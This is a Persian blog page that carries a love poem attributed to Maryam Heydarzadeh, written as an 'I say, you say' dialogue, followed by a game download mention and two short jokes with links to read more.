یک شعر از مریم حیدر زاده با نام قیامت:
من میگم بهم نگاه کن
تو میگی که جون فدا کن
من میگم چشمات قشنگه
تو میگی دنیا دو رنگه
من میگم دلم اسیره
تو میگی که خیلی دیره
من میگم چشمات و وکن
تو میگی من و رها کن
من میگم قلبم رو نشکن
تو میگی من می شکنم من ؟
من میگم دلم رو بردی
تو میگی به من سپردی ؟
من میگم دلم شکسته است
تو میگی خوب میشه خسته است
من میگم بمون همیشه
تو میگی ببین نمی شه
من میگم تنهام می ذاری
تو میگی طاقت نداری
من میگم تنهایی سخته
تو میگی این دست بخته
من میگم خدا به همرات
تو میگی چه تلخه حرفات
من میگم که تا قیامت
برو زیبا به سلامت
من میگم خدا به همرات
تو میگی چه تلخه حرفات
من میگم که تا قیامت
برو زیبا به سلامت
download یک بازی برای تمرکز اعصاب
برای دیدن بقیه کلیپ ها بر روی ادامه مطلب کلیک کنید .
۲ـ می دونی واسه چی سرسره رو واسه بچه ها ساختن؟
می خوان از همون اول زندگی بهشون یاد بدن که صعود چه قد سخته و سقوط چه قد آسون...
۳ـ اگه یکی بهت روزی ۱ sms زد،بدون ازت خوشش میاد
اگه ۲ تا فرستاد،بدون براش مهمی
اگه ۳ تا شد بدون دوستت داره
اگه ۴ تا شد،بدون موبایل خودش نیست
برای خواندن ادامه جوک ها بر روی ادامه مطلب کلیک کنید .
